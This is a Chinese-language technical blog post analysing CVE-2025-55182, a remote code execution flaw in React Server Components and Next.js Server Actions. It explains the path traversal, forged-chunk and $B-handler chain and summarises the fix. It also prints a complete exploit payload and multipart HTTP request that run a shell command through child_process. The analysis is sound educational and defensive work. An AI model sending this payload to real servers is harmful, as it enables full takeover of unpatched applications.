CVE-2025-55182 是 React Flight Protocol 中发现的一个严重远程代码执行(RCE)漏洞。该漏洞通过巧妙的攻击链组合实现了服务器端代码执行,攻击者可以完全控制目标服务器。
严重安全威胁
该漏洞的 CVSS 评分为高危,影响使用 React Server Components 和 Next.js Server Actions 的应用。攻击者可通过精心构造的 HTTP 请求实现远程代码执行。
攻击链核心:路径遍历 + 伪造 chunk 注入 + $B 处理器滥用 → Function(attacker_code) 执行
恰巧我也有项目使用了 Next.js 15.3.1 + React 19.1.0 的项目(比如部署在 nextjs 上的Blog),更新版本后,我想详细了解这次事件的攻击机制。本文将详细分析该漏洞的技术细节和攻击原理。
React Flight Protocol 是 React 为 Server Components 设计的自定义序列化格式。与传统 JSON 不同,它能够处理复杂的数据结构:
- React Elements:组件树和虚拟 DOM 结构
- 异步数据:Promise 和 Suspense 支持
- 循环引用:复杂对象间的相互引用
- 二进制数据:Blob、TypedArray 等类型
- 服务器函数:Server Actions 和远程调用
Flight 协议使用特殊的前缀标识符来区分不同类型的数据。在 ReactFlightServer.js 中定义了序列化函数:
// Promise/Chunk 引用
function serializePromiseID(id: number): string {
return '$@' + id.toString(16); // 例如: $@1a
}
// 服务器函数引用
function serializeServerReferenceID(id: number): string {
return '$F' + id.toString(16); // 例如: $F2b
}
// Symbol 引用
function serializeSymbolReference(name: string): string {
return '$S' + name; // 例如: $SReact.element
}
...
客户端通过 parseModelString 函数解析这些序列化标识符:
function parseModelString(value) {
if (value[0] === '$') {
switch (value[1]) {
case '$':
// 转义的字符串值
return value.slice(1);
case '@':
// Promise 引用
const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;
case 'F':
// 服务器函数引用
return resolveServerReference(value);
// ... 其他类型处理
}
}
return value;
}
Flight 协议将数据分割为可相互引用的独立单元(chunk)。每个 chunk 都有唯一的 ID 和状态:
┌─────────────────────────────────────────────────────┐
│ CHUNK 数据流 │
├─────────────────────────────────────────────────────┤
│ FormData: │
│ ┌─────────────────────────────────────────────────┐ │
│ │ "0": '{"name": "John", "ref": "$1"}' │ │ ← Chunk 0
│ │ "1": '{"address": "123 Main St"}' │ │ ← Chunk 1
│ │ "2": '"$@0"' │ │ ← Chunk 2
│ └─────────────────────────────────────────────────┘ │
│ │
│ Parse Result: │
│ ┌─────────────────────────────────────────────────┐ │
│ │ Chunk 0: {name: "John", ref: → Chunk 1} │ │
│ │ Chunk 1: {address: "123 Main St"} │ │
│ │ Chunk 2: Promise<Chunk 0> │ │
│ └─────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
在 React 内部,每个 chunk 都是一个类似 Promise 的对象:
// 来自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
this.status = status; // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
this.value = value; // 实际数据或待处理监听器
this.reason = reason; // 错误原因或 chunk ID
this._response = response; // Response 对象
}
// Chunk 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };
漏洞关键点
Flight 协议支持使用冒号分隔的路径进行嵌套属性访问,这是漏洞的核心入口。
Chunk示例: "$0:users:0:name"
│ │ │ │
│ │ │ └── 属性 "name"
│ │ └───── 数组索引 0
│ └────────── 属性 "users"
└───────────── Chunk ID 0
实现代码如下:
getOutlinedModel 函数 (存在漏洞) // 来自 getOutlinedModel() - 602-616行
const path = reference.split(':'); // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16); // 0
const chunk = getChunk(response, id);
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 🔴 直接属性访问,无安全检查!
}
漏洞原因
注意代码中的 value[path[i]] 直接属性访问。攻击者可以通过构造恶意路径字符串,利用路径遍历访问任意对象属性:
$0:__proto__:then → 访问 Chunk 对象的 then 方法
$0:constructor:constructor → 访问 Function 构造函数
虽然此时攻击者已能访问任意对象属性,但仍无法直接执行代码。接下来需要配合伪造 chunk 注入和 $B 处理器滥用来实现 RCE。
攻击者的核心策略是构造一个恶意的 chunk,它看起来像合法的 React chunk 对象,但包含了攻击载荷。
Self-referential then
then: "$1:__proto__:then" - chunk 1 ($@0) 指向 chunk 0,形成自引用
状态伪造
status: "resolved_model" - 让对象看起来像有效的 React chunk
载荷注入
value: '{"then":"$B1337"}' - 嵌套载荷触发 $B 处理器
执行环境
_response._formData.get - 通过 $1:constructor:constructor 指向 Function
攻击者使用三个相互引用的表单字段:
// 字段 0: 主要恶意对象
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
// 字段 1: 循环引用
"$@0" // ← 引用回字段 0
// 字段 2: 防崩溃的空 Map
[] // ← 作为 _chunks Map 使用
then: "$1:__proto__:then" 创建了一个解析为真实函数的自引用:
攻击链路径:
$1:__proto__:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.__proto__.then → Chunk.prototype.then (真实函数!)
为什么这很关键
then 解析为 Chunk.prototype.then - 一个真实的可调用函数
- 这使得伪造的对象成为有效的 thenable
- 当被 await 时,JavaScript 调用
obj.then(resolve, reject)
Chunk.prototype.then 以伪造对象作为 this 执行
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // 伪造对象被传入!
break;
}
}
// packages/react-server/src/ReactFlightReplyServer.js[L446-474]
function initializeModelChunk(chunk) {
// ...
const resolvedModel = chunk.value; // = "{\"then\":\"$B1337\"}"
// ...
const rawModel = JSON.parse(resolvedModel);
const value = reviveModel(
chunk._response, // ← 此处的 _response 是伪造的 { _prefix: '...', _formData: { get: Function } }
{'': rawModel},
'',
rawModel,
rootReference,
);
}
// 上方的 chunk_response 实际上会被反序列化为:
{
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_formData": {"get": Function} // Already resolved to Function constructor!
}
value 字段包含另一个 thenable 的嵌套 JSON 字符串:
两阶段触发机制:
- 阶段一:外部对象的自引用
then 触发 chunk 处理
- 阶段二:React 解析模型时遇到另一个带有
then: "$B1337" 的 thenable,$B 前缀触发处理器:
case "B":
return response._formData.get(response._prefix + obj); // _prefix = 'eval code', obj = "1337"
此时 _formData.get 是 "$1:constructor:constructor" → getOutlinedModel() 解析为 Function。
最终变成:Function(code + "1337") → 有效的 JavaScript,因为 1337 只是尾随表达式。
以上代码实际上等价于:
response._formData.get(blobKey)
↓
Function("process.mainModule.require('child_process').execSync('say haha');1337")
↓
process.mainModule.require('child_process').execSync('say haha');
1337
🔴 RCE ACHIEVED.
攻击的完整流程包括多个关键步骤,让我们详细分析每个环节:
攻击者发送包含恶意载荷的 multipart/form-data 请求:
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
[]
------Boundary--
Next.js 将 multipart 内容解析为 FormData 对象:
formData = {
"0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
"1": '"$@0"',
"2": '[]'
}
React 创建用于处理请求的 Response 对象:
response = {
_bundlerConfig: serverManifest,
_prefix: formFieldPrefix, // 用于在 FormData 中查找 chunks
_formData: body, // 原始 FormData
_chunks: new Map(), // 解析的 chunks 缓存
_closed: false,
_temporaryReferences: undefined,
}
当 React 尝试解析根 chunk 时,攻击链被激活:
const refPromise = getRoot(actionResponse);
refPromise.then(() => {}); // 触发 Chunk.prototype.then

React 团队在后续版本中通过以下方式修复了此漏洞,见 commit:
- 路径验证:在
getOutlinedModel 函数中添加了路径安全检查
- 属性访问限制:通过 HasOwnProperty 检查防止访问危险属性
- 类型验证:增强了 chunk 对象的类型和状态验证
这个漏洞的设计展现了攻击者对 React 内部机制的深度理解:
- 利用协议设计缺陷:巧妙利用 Flight 协议的路径遍历机制
- 绕过类型检查:通过自引用让伪造对象通过 thenable 验证
- 链式利用:将多个看似无害的功能串联成完整攻击链